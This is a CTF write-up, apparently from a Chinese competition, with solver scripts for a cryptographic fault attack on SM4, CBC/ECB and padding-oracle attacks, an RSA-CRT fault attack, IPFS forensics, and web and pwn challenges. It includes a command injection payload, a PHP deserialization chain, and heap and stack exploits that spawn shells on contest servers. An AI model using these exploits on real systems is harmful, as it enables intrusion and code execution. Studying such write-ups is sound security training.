We show that if a random byte fault is induced into either the second, third or fourth word register at the input of the 28-th round, the 128-bit master key could be derived with an exhaustive search of 22.11 bits on average.
28轮的第2、3、4个寄存器出错,可以直接整出master key,很对头,但是有点难理解
The procedure of the round-key generation indicates that the master key can be easily retrieved from any four consecutive round-keys.
然后几个paper轮流看。

选择了需要fault次数最多的那个方法。(因为容易理解一些
paper:https://wenku.baidu.com/view/df86818e79563c1ec5da71c4.html
出题人没整好输入的round(只能在第2~31轮注入fault, 而非1~32轮),所以操作的时候就稍微需要自己改变一下

往第31轮的X30上注入1byte的fault,将会导致第32轮的X34的差分值有1byte不为0。
然后往F函数里面日:

可以激活一个sbox:必有一个sbox的差分值不为0(其他3个sbox均为0),且这个sbox的位置可控;这个sbox的两个差分输入r_inp, f_inp 也能确定下来。
r_byte: raw input byte f_byte: fault input byte
再来从下往上看这个sbox输出的差分值:

paper里有具体的分析,看不懂,直接看到结论。这个结论就是说sbox输出的差分值diff_out也能确定下来。
ok,然后穷举这个sbox所对应那一byte子密钥rk_byte(仅256种可能,一个子密钥有4byte,每1byte对应一个sbox),计算sbox(r_inp ^ rk_byte) ^ sbox(f_inp ^ rk_byte),看是否等于diff_out,如果等于就说明这个byte可以作为备选子密钥byte(理论值是说这边有2.0236个可能的candidate子密钥byte)。两次这么操作后,基本上就可以确定下这个byte到底是哪一个了。
然后这么再去另外3个sbox对应的位置处注入fault,即可恢复出这第32轮的4byte子密钥。
恢复出来后,可以解密一轮来到第31轮,往第30轮的X29处注入fault,等价于往第31轮的X33处注入,然后同样的操作,可以恢复这第31轮的子密钥。
再恢复2轮,即可得到第30、29轮的子密钥。
key schedule可逆,能通过这最后4轮的子密钥直接搞到master key
最后解密,getflag
脚本很乱:
from collections import Counter
import random
from itertools import product
from hashlib import sha256
from pwn import *
from sm4 import *
from func import xor, rotl, get_uint32_be, put_uint32_be, \
bytes_to_list, list_to_bytes, padding, unpadding
token = b"icq3f18237ca27013a7969864ab40836"
r = remote("39.101.134.52", 8006)
# context.log_level = 'debug'
# PoW
rec = r.recvline().decode()
suffix = re.findall(r'XXX\+([^\)]+)', rec)[0]
digest = re.findall(r'== ([^\n]+)', rec)[0]
print(f"suffix: {suffix} \ndigest: {digest}")
print('Calculating hash...')
for i in product(string.ascii_letters + string.digits, repeat=3):
prefix = ''.join(i)
guess = prefix + suffix
if sha256(guess.encode()).hexdigest() == digest:
print(guess)
break
r.sendafter(b'Give me XXX:', prefix.encode())
r.sendafter(b"teamtoken", token)
r.recvuntil(b"your flag is\n")
enc_flag = r.recvline().strip()
print(enc_flag)
plaintext = b"\x00" * 15
def ltor(b, l):
bits = bin(b)[2:]
return int(bits[-l:] + bits[:-l], 2)
def inv_Y(cipher):
# bytes -> list
Y0 = get_uint32_be(cipher[0:4])
Y1 = get_uint32_be(cipher[4:8])
Y2 = get_uint32_be(cipher[8:12])
Y3 = get_uint32_be(cipher[12:16])
# X32, X33, X34, X35
return [Y3, Y2, Y1, Y0]
def inv_round(Xs):
return [Xs[-1], Xs[0], Xs[1], Xs[2]]
def get_rk_byte(raw_cipher, fault_ciphers, j):
r_res, r_X32, r_X33, r_X34 = inv_round(raw_cipher)
r_byte = put_uint32_be(r_X32 ^ r_X33 ^ r_X34)[j%4]
ios = []
for f_cipher in fault_ciphers:
f_res, f_X32, f_X33, f_X34 = inv_round(f_cipher)
diff_out = ltor(put_uint32_be(r_res ^ f_res)[(j-1)%4], 2)
f_byte = put_uint32_be(f_X32 ^ f_X33 ^ f_X34)[j%4]
ios.append((f_byte,diff_out))
# print(ios)
candidate_keys = Counter()
for rk_byte in range(256):
for f_byte, diff_out in ios:
if SM4_BOXES_TABLE[r_byte^rk_byte] ^ SM4_BOXES_TABLE[f_byte^rk_byte] == diff_out:
candidate_keys[rk_byte] += 1
return candidate_keys.most_common()[0][0]
def get_r_cipher():
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"your plaintext in hex:", plaintext.hex().encode())
cipher = bytes.fromhex(r.recvline().strip().decode().split("hex:")[1])
return cipher
def get_f_cipher(round, j):
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"your plaintext in hex:", plaintext.hex().encode())
r.sendlineafter(b"give me the value of r f p:", f"{round} {random.getrandbits(8)} {j}")
cipher = bytes.fromhex(r.recvline().strip().decode().split("hex:")[1])
return cipher
def f(x0, x1, x2, x3, rk):
# "T algorithm" == "L algorithm" + "t algorithm".
# args: [in] a: a is a 32 bits unsigned value;
# return: c: c is calculated with line algorithm "L" and nonline algorithm "t"
def _sm4_l_t(ka):
b = [0, 0, 0, 0]
a = put_uint32_be(ka)
b[0] = SM4_BOXES_TABLE[a[0]]
b[1] = SM4_BOXES_TABLE[a[1]]
b[2] = SM4_BOXES_TABLE[a[2]]
b[3] = SM4_BOXES_TABLE[a[3]]
bb = get_uint32_be(b[0:4])
c = bb ^ (rotl(bb, 2)) ^ (rotl(bb, 10)) ^ (rotl(bb, 18)) ^ (rotl(bb, 24))
return c
return (x0 ^ _sm4_l_t(x1 ^ x2 ^ x3 ^ rk))
def decrypt_one_round(cipher, rk):
return [f(cipher[3], cipher[0], cipher[1], cipher[2], rk), cipher[0], cipher[1], cipher[2]]
def decrypt_rounds(cipher, rks):
for rk in rks:
cipher = decrypt_one_round(cipher, rk)
return cipher
raw_cipher = inv_Y(get_r_cipher())
print(raw_cipher)
rks = []
for round in range(31, 27, -1):
# print(round)
rk = 0
for j in range(4):
fault_ciphers = set()
for k in range(10):
fault_ciphers.add(get_f_cipher(round, j))
fault_ciphers = [inv_Y(i) for i in fault_ciphers]
fault_ciphers = [decrypt_rounds(f_cipher, rks) for f_cipher in fault_ciphers]
rk_byte = get_rk_byte(raw_cipher, fault_ciphers, j)
rk = (rk << 8) + rk_byte
print(f"round {round+1} subkey: {rk}")
rks.append(rk)
raw_cipher = decrypt_one_round(raw_cipher, rk)
def _round_key(ka):
b = [0, 0, 0, 0]
a = put_uint32_be(ka)
b[0] = SM4_BOXES_TABLE[a[0]]
b[1] = SM4_BOXES_TABLE[a[1]]
b[2] = SM4_BOXES_TABLE[a[2]]
b[3] = SM4_BOXES_TABLE[a[3]]
bb = get_uint32_be(b[0:4])
rk = bb ^ (rotl(bb, 13)) ^ (rotl(bb, 23))
return rk
# def set_key(key, mode):
# key = bytes_to_list(key)
# sk = []*32
# MK = [123, 456, 789, 145]
# k = [0]*36
# MK[0] = get_uint32_be(key[0:4])
# MK[1] = get_uint32_be(key[4:8])
# MK[2] = get_uint32_be(key[8:12])
# MK[3] = get_uint32_be(key[12:16])
# k[0:4] = xor(MK[0:4], SM4_FK[0:4])
# for i in range(32):
# k[i + 4] = k[i] ^ (
# _round_key(k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ SM4_CK[i]))
# sk[i] = k[i + 4]
# return sk
def inv_key_schedule(rks): # rks: [rk32, rk31, rk30, rk29]
k = [0] * 32 + rks[::-1]
for i in range(31, -1, -1):
k[i] = k[i+4] ^ (_round_key(k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ SM4_CK[i]))
print(k[4:])
Mk = [0] * 4
for j in range(4):
Mk[j] = SM4_FK[j] ^ k[j]
master_key = []
for i in range(4):
master_key += put_uint32_be(Mk[i])
return list_to_bytes(master_key)
Mk = inv_key_schedule(rks)
print(Mk)
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"your key in hex:", Mk.hex().encode())
r.sendlineafter(b"your ciphertext in hex:", enc_flag)
r.recvuntil(b"your plaintext in hex:")
flag = r.recvline().strip().decode()
print(bytes.fromhex(flag))
r.interactive()
但是能getflag:

modestudy
第一关 cbc bit flip,把第一块密文的最后一字节xor上0x1即可
第二关

扔给服务器两个一样的c1、c2,然后iv = (c1 ^ p2) ^ p1
第三关

把第3块密文换成第5块密文
第四关 低配版 BEAST Attack
第五关 几次尝试后,发现它的加密实际上就是对每2byte进行置换,列一个置换表出来,即可找到secret
第六关 padding oracle attack
import re
import time
import random
import string
from hashlib import sha256
from Crypto.Util.number import long_to_bytes, bytes_to_long
from pwn import *
TOKEN = "icq3f18237ca27013a7969864ab40836"
r = remote("139.224.254.172", 7777)
# context.log_level = "debug"
# PoW
def proof_of_work():
rec = r.recvuntil(b"?=").decode()
prefix = re.findall(r"\(([a-zA-Z0-9]{8})\+", rec)[0].encode()
print(prefix)
start = time.time()
while True:
answer = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8))
hashresult = hashlib.sha256(prefix+answer.encode()).digest()
bits = ''.join(bin(j)[2:].zfill(8) for j in hashresult)
if bits.startswith('0'*5):
print(answer)
break
print(time.time() - start)
r.sendline(answer.encode())
proof_of_work()
r.sendlineafter(b"teamtoken=", TOKEN)
def xor(a, b):
return bytes(x^y for x,y in zip(a,b))
def solve_1():
r.sendlineafter(b"your choice:", b"1")
r.recvuntil(b"challenge 1\n")
data = r.recvline().decode()
session = re.findall(r"session=([0-9a-f].*?);", data)[0]
checksum = re.findall(r"checksum=([0-9a-f].*?)\n", data)[0]
print(f"session: {session}\nchecksum: {checksum}")
checksum = bytes.fromhex(checksum)
raw_data = f"session={session};admin=0".encode()
target_data = f"session={session};admin=1".encode()
nex_checksum = xor(checksum, b"\x00"*15 + b"\x01" + b"\x00"*16)
payload = target_data + b";" + b"checksum=" + nex_checksum.hex().encode()
print(payload)
r.sendlineafter(b"cookie:", payload)
def solve_2():
r.sendlineafter(b"your choice:", b"2")
r.recvuntil(b"challenge 2\n")
hexdigest = r.recvline().decode()[15:-1]
print(f"Challenge2 sha256(iv): {hexdigest}")
# r.sendlineafter(b"your choice:", b"1") # server decrypt for us
# c = b"11"*32
# r.sendlineafter(b"c:", c)
# decrypt = bytes.fromhex(r.recvline()[4:-1].decode())
# print(len(decrypt))
# plain1, plain2 = decrypt[:16], decrypt[16:32]
# print(plain1.hex(), plain2.hex())
# xor_vector = xor(b"11"*16, plain2)
# iv = xor(xor_vector, plain1)
# print(iv) # b'\x8c t\xeb\x83\xfb\x1c\xac\xfa\xa4hk{\xbe\xcf|'
iv = b'\x8c t\xeb\x83\xfb\x1c\xac\xfa\xa4hk{\xbe\xcf|'
print(f"Challenge2 IV: {iv.hex()}")
print(f"Challenge2 sha256(IV): {sha256(iv).hexdigest()}")
r.sendlineafter(b"your choice:", b"2") # guess iv
r.sendlineafter(b"iv(encode hex):", iv.hex().encode())
def solve_3():
r.sendlineafter(b"your choice:", b"3")
r.recvuntil(b"challenge 3\n")
r.recvuntil(b"128bit_ecb_encrypt(cookie):")
cipher = bytes.fromhex(r.recvline().strip().decode())
c1 = cipher[:16] # session:e8766bf7
c2 = cipher[16:32] # ;timedl=1;admin=
c3 = cipher[32:48] # 0;guess_cookie_m
c4 = cipher[48:64] # a=1;guess_mp_ab=
c5 = cipher[64:80] # 1;guess_cookie_m
c6 = cipher[80:96] # b=0;hell_pad=233
payload = c1 + c2 + c5 + c4 + c5 + c6
r.sendlineafter(b"input your encrypted cookie(encode hex):", payload.hex().encode())
def solve_4():
r.sendlineafter(b"your choice:", b"4")
r.recvuntil(b"challenge 4\n")
secret = b"i\x87Z\x029\x94\x90\xaagr\x18<m*\x81\x0f"
for i in range(16-len(secret), 0, -1):
inp = b"1"*(i-1)
r.sendlineafter(b"your choice:", b"1")
r.sendlineafter(b"input(encode hex):", inp.hex().encode())
r.recvuntil(b"before encrypted:")
print(r.recvline())
r.recvuntil(b"encrypted msg: ")
cipher = r.recvline().decode().strip()[:32]
print(f"cipher: {cipher}")
for j in range(256):
r.sendlineafter(b"your choice:", b"1")
r.sendlineafter(b"input(encode hex):", (inp + secret + bytes([j])).hex().encode())
r.recvuntil(b"encrypted msg: ")
c = r.recvline().decode().strip()[:32]
print(f"c: {c}")
if cipher in c:
secret += bytes([j])
break
else:
r.close()
print(i, secret)
r.sendlineafter(b"your choice:", b"2") # secert
r.sendlineafter(b"secret", secret.hex().encode())
def solve_5():
r.sendlineafter(b"your choice:", b"5")
r.recvuntil(b"challenge 5\n")
# hexdigest = "deb36c8f64034db192a896fb067f381240a1edd776c07f31b1bef33ec3998e6e"
# encrypt_secret = "75b1c0ebc5dfcabe784ea85ee2a28a52"
# table = dict()
# for i in range(0, 256**2, 256):
# payload = ''
# for j in range(i, i+256):
# payload += hex(j)[2:].zfill(4)
# r.sendlineafter(b"your choice:", b"1")
# r.sendlineafter(b"input(encode hex):", payload.encode())
# r.recvuntil(b'myblockencrypt_ecb(your_input).encode("hex"):')
# cipher = r.recvline().strip().decode()
# for k, j in enumerate(range(i, i+256)):
# table[cipher[k*4:k*4+4]] = hex(j)[2:].zfill(4)
# print(i)
# for i in range(0, len(encrypt_secret), 4):
# secret += table[encrypt_secret[i:i+4]]
# print(secret)
secret = 'cdf3ff86aeb04a7fdb1614043964349c'
r.sendlineafter(b"your choice:", b"2") # secert
r.sendlineafter(b"secret", secret.encode())
def solve_6():
r.sendlineafter(b"your choice:", b"6")
r.recvuntil(b"challenge 6\n")
iv = bytes.fromhex("31313131313131313131313131313131")
c1 = bytes.fromhex("ab852396af79701989fdeafca2e8a5457db6307920981252c49622d9c5428917")[:16]
secret = b'M\x1fC^\xbc\x8f}N\xc4\x06lG\x16\xa9\xbdS'
for i in range(15-len(secret), -1, -1):
for j in range(0, 256):
print(j)
new_iv = xor(iv, b"\x00"*i + bytes([j]) + xor(secret, bytes([16-i])*(16-i)))
payload = new_iv + c1
r.sendlineafter(b"your choice:", b"1")
r.sendlineafter(b"input your iv+c (encode hex):", payload.hex().encode())
if b"success" in r.recvline():
secret = bytes([(16-i) ^ j]) + secret
break
else:
r.close()
print(i, secret)
r.sendlineafter(b"your choice:", b"2") # secert
r.sendlineafter(b"secret", secret.hex().encode())
solve_1()
solve_2()
solve_3()
solve_4()
solve_5()
solve_6()
r.interactive()

Blockchain
IPFS
可以通过命令ipfs cat <hash> > i.data把pic1.jpg的6块block给下载下来,很明显第4条hash对应jpg文件的开头,第5条hash对应jpg文件的结尾
剩余的4块可以穷举拼接一下,看能不能恢复成正常的图形:
from itertools import permutation
pics = []
for i in range(0,6):
pics.append(open(f"{i}.data", "rb").read())
for perm in permutations([0,1,2,5], 4):
data = pics[3] # 4th hash
for i in perm:
data += pics[i]
data += pics[4] # 5th hash
with open(f"{''.join(str(i) for i in perm)}.jpg", "wb") as f:
f.write(data)
发现0213.jpg可以正常显示:

pic2.jpg,给出了文件的sha256sum,根据QmHash的格式,可以得到pic2.jpg的QmHash:

import base58
print(base58.b58encode(bytes.fromhex("1220"+"659c2a2c3ed5e50f848135eea4d3ead3fa2607e2102ae73fafe8f82378ce1d1e")))
# b'QmVBHzwuchpfHLxEqNrBb3492E73DHE99yFCxx1UYcJ6R3'
ipfs cat QmVBHzwuchpfHLxEqNrBb3492E73DHE99yFCxx1UYcJ6R3 > pic2.jpg可以得到第二张图片:

组合起来就是:flag=flag{md5( hash1 + hash2 )}
hash2已经有了:QmVBHzwuchpfHLxEqNrBb3492E73DHE99yFCxx1UYcJ6R3
hash1可以通过再重新上传pic1.jpg得到。
观察发现出题人上传pic1.jpg时,设置的block-size是26624
看一下ipfs add --help发现能够通过--chunker=size-26624指定block的大小

重新上传得到root hash:QmYjQSMMux72UH4d6HX7tKVFaP27UzC65cRchbVAsh96Q7
flag{35fb9b3fe44919974a02c26f34369b8e}
强网先锋
主动
ip=127.0.0.1;cat%20fl\ag.php
upload
流量包题
分析流量包可知,上传了一个steghide.jpg文件,将其导出,steghide extract -sf steghide.jpg,密码123456,得到flag.txt
flag{te11_me_y0u_like_it}
Funhash
web题 http://39.101.177.96/ payload
http://39.101.177.96/?hash1=0e251288019&hash2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&hash3=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&hash4=ffifdyop
web辅助
http://eci-2ze9cia09xafqb8rd109.cloudeci1.ichunqiu.com/
签到题,看脚本吧,没什么难度
<?php
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
echo "triggered";
}
public function __toString(){
$this->KS();
return "";
}
}
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}
$jungle = new jungle();
$mid = new midsolo($jungle);
$top = new topsolo($mid);
$exp = serialize($top);
$exp = str_replace("s:7:\"\x00*\x00name\"", 'S:7:"\00*\00\6eame"', $exp);
echo strlen($exp) . "\n";
var_dump($exp);
$username = str_repeat('\0*\0', 13) . 'a';
$password = "aaa\";s:8:\"\0*\0admin\";" . $exp . "s:7:\"\0*\0user\";s:2:\"12\";}";
$password = str_replace('}}', "\"s:2:\"zz\";s:2:\"12\";}}", $password);
echo urlencode($username) . "\n";
echo base64_encode($password) . "\n";
//system("curl -vv http://eci-2zei1qumnps7yxtlfg2a.cloudeci1.ichunqiu.com/?username=" . urlencode($username) . "&password=" . urlencode($password));
echo "curl -vv http://eci-2zei1qumnps7yxtlfg2a.cloudeci1.ichunqiu.com/?username=" . urlencode($username) . "&password=" . urlencode($password) . "\n";
$player = new player($username, $password);
$dump = write(serialize($player));
$dump = read($dump);
echo base64_encode($dump) . "\n";
var_dump(unserialize($dump));
var_dump($dump);
侧防
rev xor key后有个换位操作,做对应逆运算即可
a = 'QWBlogs'
b = [0x4C, 0x78, 0x7C, 0x64, 0x54, 0x55, 0x77, 0x65, 0x5C, 0x49,
0x76, 0x4E, 0x68, 0x43, 0x42, 0x4F, 0x4C, 0x71, 0x44, 0x4E,
0x66, 0x57, 0x7D, 0x49, 0x6D, 0x46, 0x5A, 0x43, 0x74, 0x69,
0x79, 0x78, 0x4F, 0x5C, 0x50, 0x57, 0x5E, 0x65, 0x62, 0x44]
d = [0]*len(b)
c = ''
for i in range(0,len(b),4):
d[i] = b[i+1]
d[i+1] = b[i+2]
d[i + 2] = b[i + 3]
d[i + 3] = b[i]
print d
for i in range(len(b)):
c += chr((d[i]-65)^ord(a[i%7]))
print c
print len(b)
print len(c)
baby_crt
crypto
RSA CRT fault
http://dl.ifip.org/db/conf/wistp/wistp2007/KimQ07.pdf

from hashlib import sha1
from Crypto.Util.number import *
n = 26318358382258215770827770763384603359524444566146134039272065206657135513496897321983920652242182112479484135343436206815722605756557098241887233837248519031879444740922789351356138322947108346833956405647578838873425658405513192437479359531790697924285889505666769580176431360506227506064132034621123828090480606055877425480739950809109048177976884825589023444901953529913585288143291544181183810227553891973915960951526154469344587083295640034876874318610991153058462811369615555470571469517472865469502025030548451296909857667669963720366290084062470583318590585472209798523021029182199921435625983186101089395997
m = 26275493320706026144196966398886196833815170413807705805287763413013100962831703774640332765503838087434904835657988276064660304427802961609185997964665440867416900711128517859267504657627160598700248689738045243142111489179673375819308779535247214660694211698799461044354352200950309392321861021920968200334344131893259850468214901266208090469265809729514249143938043521579678234754670097056281556861805568096657415974805578299196440362791907408888958917063668867208257370099324084840742435785960681801625180611324948953657666742195051492610613830629731633827861546693629268844700581558851830936504144170791124745540
sigature = 20152941369122888414130075002845764046912727471716839854671280255845798928738103824595339885345405419943354215456598381228519131902698373225795339649300359363119754605698321052334731477127433796964107633109608706030111197156701607379086766944096066649323367976786383015106681896479446835419143225832320978530554399851074180762308322092339721839566642144908864530466017614731679525392259796511789624080228587080621454084957169193343724515867468178242402356741884890739873250658960438450287159439457730127074563991513030091456771906853781028159857466498315359846665211412644316716082898396009119848634426989676119219246
e = 65537
for c1 in range(1, 2**16):
g = GCD(pow(m, c1, n) - pow(sigature, e, n), n)
if g != 1:
p = g
print(c1, g)
break
q = n // p
print("flag{" + sha1(long_to_bytes(min(p,q))).hexdigest() + "}")
# 27152 175947855464630318882274211369050447335314682338022384131546160543733195355501291230119719123032944939427500196558321955068490980548179604648557892933129317527213012520680627573834567002223872890806611275061140244033706361520509332755932759567357620312030849014630507761409535339555754829420991613721802012281
# flag{601cb6f6d990ed5b89cf0de60508a95c07543793}
babymessage
可以覆盖ebp,因为没开pie,所以直接栈迁移到bss上导致了第二次调用时候会栈溢出。
from pwn import *
#r=process('./babymessage')
r=remote('123.56.170.202',21342)
main_addr=0x00000000040091A
def leave_name(name):
r.sendlineafter('choice','1')
r.sendafter('name',name)
def lmessage(content):
r.sendlineafter('choice','2')
r.sendafter('message',content)
def show():
r.sendlineafter('choice','3')
def gd(cmd=''):
gdb.attach(r,cmd)
pause()
pd=0x0000000000400ac3
psr=0x0000000000400ac1
backdoor=0x000000000040080A
elf=ELF('./babymessage')
libc=ELF('./libc-2.27.so')
leave_name('$0')
lmessage('b'*8+p64(0x6010d0+4))
lmessage('b'*8+p64(0x6010d0+4)+p64(pd)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(pd)+p64(0x100)+p64(backdoor))
r.recvuntil('\n')
r.recvuntil('\n')
r.recvuntil('\n')
leak=u64(r.recv(6).ljust(8,'\x00'))
print 'leak '+hex(leak)
lbase=leak-libc.symbols['puts']
print 'lbase '+hex(lbase)
sys=lbase+libc.symbols['system']
one=0x10a45c+lbase
#gd('b *0x0000000000400886')
r.send('b'*8+p64(0x6010d0+4)+p64(one))
#r.send('b'*8+p64(0x6010d0+4)+p64(pd)+p64(0x00000000006010D0)+p64(sys))
r.interactive()
bank
no negative check for amount
transact Alice -1000 get flag

红方辅助
分析一下流量的格式,解解密就行
import struct
import multiprocessing
import random
from hashlib import md5, sha256
def GetSalt(data):
return int((md5(sha256(data.encode()).digest())).hexdigest(), 16) % 256
funcs = {
"0" : lambda x, y : x - y,
"1" : lambda x, y : x + y,
"2" : lambda x, y : x ^ y
}
inv_func = {
"0" : lambda x, y : x + y,
"1" : lambda x, y : x - y,
"2" : lambda x, y : x ^ y,
}
offset = {
"0" : 0xefffff,
"1" : 0xefffff,
"2" : 0xffffff,
}
data = open("socket.data", "rb").read()
index = 0
while index < len(data)-100:
header = data[index:index+19]
data_length = int.from_bytes(header[13:17], byteorder='little') - 10
# print(data_length)
btime = header[1:1+4]
fn = chr(int(header[17]))
t = struct.unpack("<i", btime)[0]
boffset = offset[fn]
t -= boffset
t = struct.pack("<i", t)
salt = int(header[18])
cipher = data[index+19:index+19+data_length]
# print(salt, t, cipher)
plain = ""
i = 0
for c in cipher:
plain += chr(((inv_func[fn](c, salt)) ^ t[i]) % 256)
i = (i + 1) % 4
print(plain)
index += 9 + 10 + data_length + 4

得到3e752bf509ddb4e9a42f1ef30beff495
flag提交一直不对,改一下格式即可:QWB{3e752bf509ddb4e9a42f1ef30beff495}
Siri - 强网先锋
一个简单的格式化字符串,leak了stack地址之后就是对上面的地址进行一个返回地址和保存的rbp进行一个修改,通过抬栈 执行 one_gadget
from pwn import*
p = process('./main')
p = remote('123.56.170.202',12124)
libc = ELF('./libc-2.27.so')
p.sendlineafter('>>> ','Hey Siri!')
offset = 14
p.sendlineafter('>>> ','Remind me to ' + 'BBBBAAAAAAAAStack:%46$pLIBC:%83$pPROC:%47$pCanary:%45$p')
p.recvuntil('Stack:')
stack = int(p.recv(14),16) - 288
log.info('Stack:\t' + hex(stack))
p.recvuntil('LIBC:')
libc_base = int(p.recv(14),16) - 231 - libc.sym['__libc_start_main']
log.info('LIBC:\t' + hex(libc_base))
p.recvuntil('PROC:')
proc_base = int(p.recv(14),16) - 0x144C
log.info('Proc:\t' + hex(proc_base))
p.recvuntil('Canary:')
canary = int(p.recv(18),16)
log.info('Canary:\t' + hex(canary))
pop_rdi_ret = proc_base + 0x0152B
leave_ret = proc_base + 0x12E2
rce = libc_base + 0x10A45C
open_sys = libc_base + libc.sym['open']
read_sys = libc_base + libc.sym['read']
puts = libc_base + libc.sym['puts']
p.sendlineafter('>>> ','Hey Siri!')
off_1 = (((stack + 0x50)&0xFFFF))
off_2 = (leave_ret&0xFFFF)
#gdb.attach(p,'b *0x5555555552A2')
if off_1 > off_2:
payload = 'Remind me to ' + '%' + str((off_2 - 27)) + 'c%55$hn' + '%' + str((off_1 - off_2)) + 'c%56$hn'
payload = payload.ljust(0x38,'\x00')
payload += p64(stack + 8) + p64(stack)
payload += p64(rce)
else:
payload = 'Remind me to ' + '%' + str((off_1 - 27)) + 'c%55$hn' + '%' + str((off_2 - off_1)) + 'c%56$hn'
payload = payload.ljust(0x38,'\x00')
payload += p64(stack) + p64(stack + 8)
payload += p64(rce)
p.sendlineafter('>>> ',payload)
p.interactive()
Just a Galgame - 强网先锋
如果top_chunk的size 不够申请的大小,就会另外开辟一个top_chunk,将原先top_chunk扔进unsorted bin,切割后拿到libc_base,在case 5有个read(0,0x4040A0,8);往栈上写一个地址,然乎case 2没有对 index 索引进行一个 检测 越界修改这个地址里面的内容,即可将malloc_hook写为rce
from pwn import*
context.log_level ='DEBUG'
def menu(ch):
p.sendlineafter('>> ',str(ch))
def new():
menu(1)
def edit(index,name):
menu(2)
p.sendlineafter('idx >>',str(index))
p.sendafter('movie name >> ',name)
def large():
menu(3)
def show():
menu(4)
def leave(say):
menu(5)
p.sendafter('QAQ\n',say)
p = process('./main')
p = remote('123.56.170.202',52114)
libc =ELF('./libc-2.27.so')
new()
edit(0,p64(0) + p64(0xD41))
large()
new()
show()
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] -0x10 - 1632
log.info('LIBC:\t' + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
rce = libc_base + 0x10A45C
leave(p64(malloc_hook - 0x60))
edit(8,p64(rce))
new()
p.interactive()
babynotes - 强网先锋
因为在regset中 strcpy 可以导致堆溢出修改下一个块的size,则可构造 chunk overlap,然后往malloc_hook中写入rce
from pwn import*
#context.log_level ='DEBUG'
def menu(ch):
p.sendlineafter('>> ',str(ch))
def new(index,size):
menu(1)
p.sendlineafter('index:',str(index))
p.sendlineafter('size:',str(size))
def show(index):
menu(2)
p.sendlineafter('index:',str(index))
def free(index):
menu(3)
p.sendlineafter('index:',str(index))
def edit(index,content):
menu(4)
p.sendlineafter('index:',str(index))
p.sendafter('note:',content)
def Set(name,motto,age):
p.sendafter('name:',name)
p.sendafter('motto:',motto)
p.sendlineafter('age:',str(age))
def check():
menu(6)
p = process('./main')
libc =ELF('./libc-2.23.so')
p = remote('123.56.170.202',43121)
Set('FMYY','FAQ',0x21)
new(0,0x100)
new(1,0x18)
new(2,0x60)
new(3,0x60)
new(4,0x60)
free(0)
new(0,0x100)
show(0)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x10 - 88 - libc.sym['__malloc_hook']
log.info('LIBC:\t' + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
rce= libc_base + 0xF1207
free(0)
free(1)
menu(5)
Set('U'*0x18,'FAQ',0xE1)
free(2)
new(0,0x60)
new(1,0x60) # 1 = 3
free(1)
free(0)
free(3)
new(3,0x60)
edit(3,p64(malloc_hook - 0x23))
new(0,0x60)
new(5,0x60)
new(1,0x60)
edit(1,'\x00'*0x13 + p64(rce))
free(0)
new(0,0x60)
p.interactive()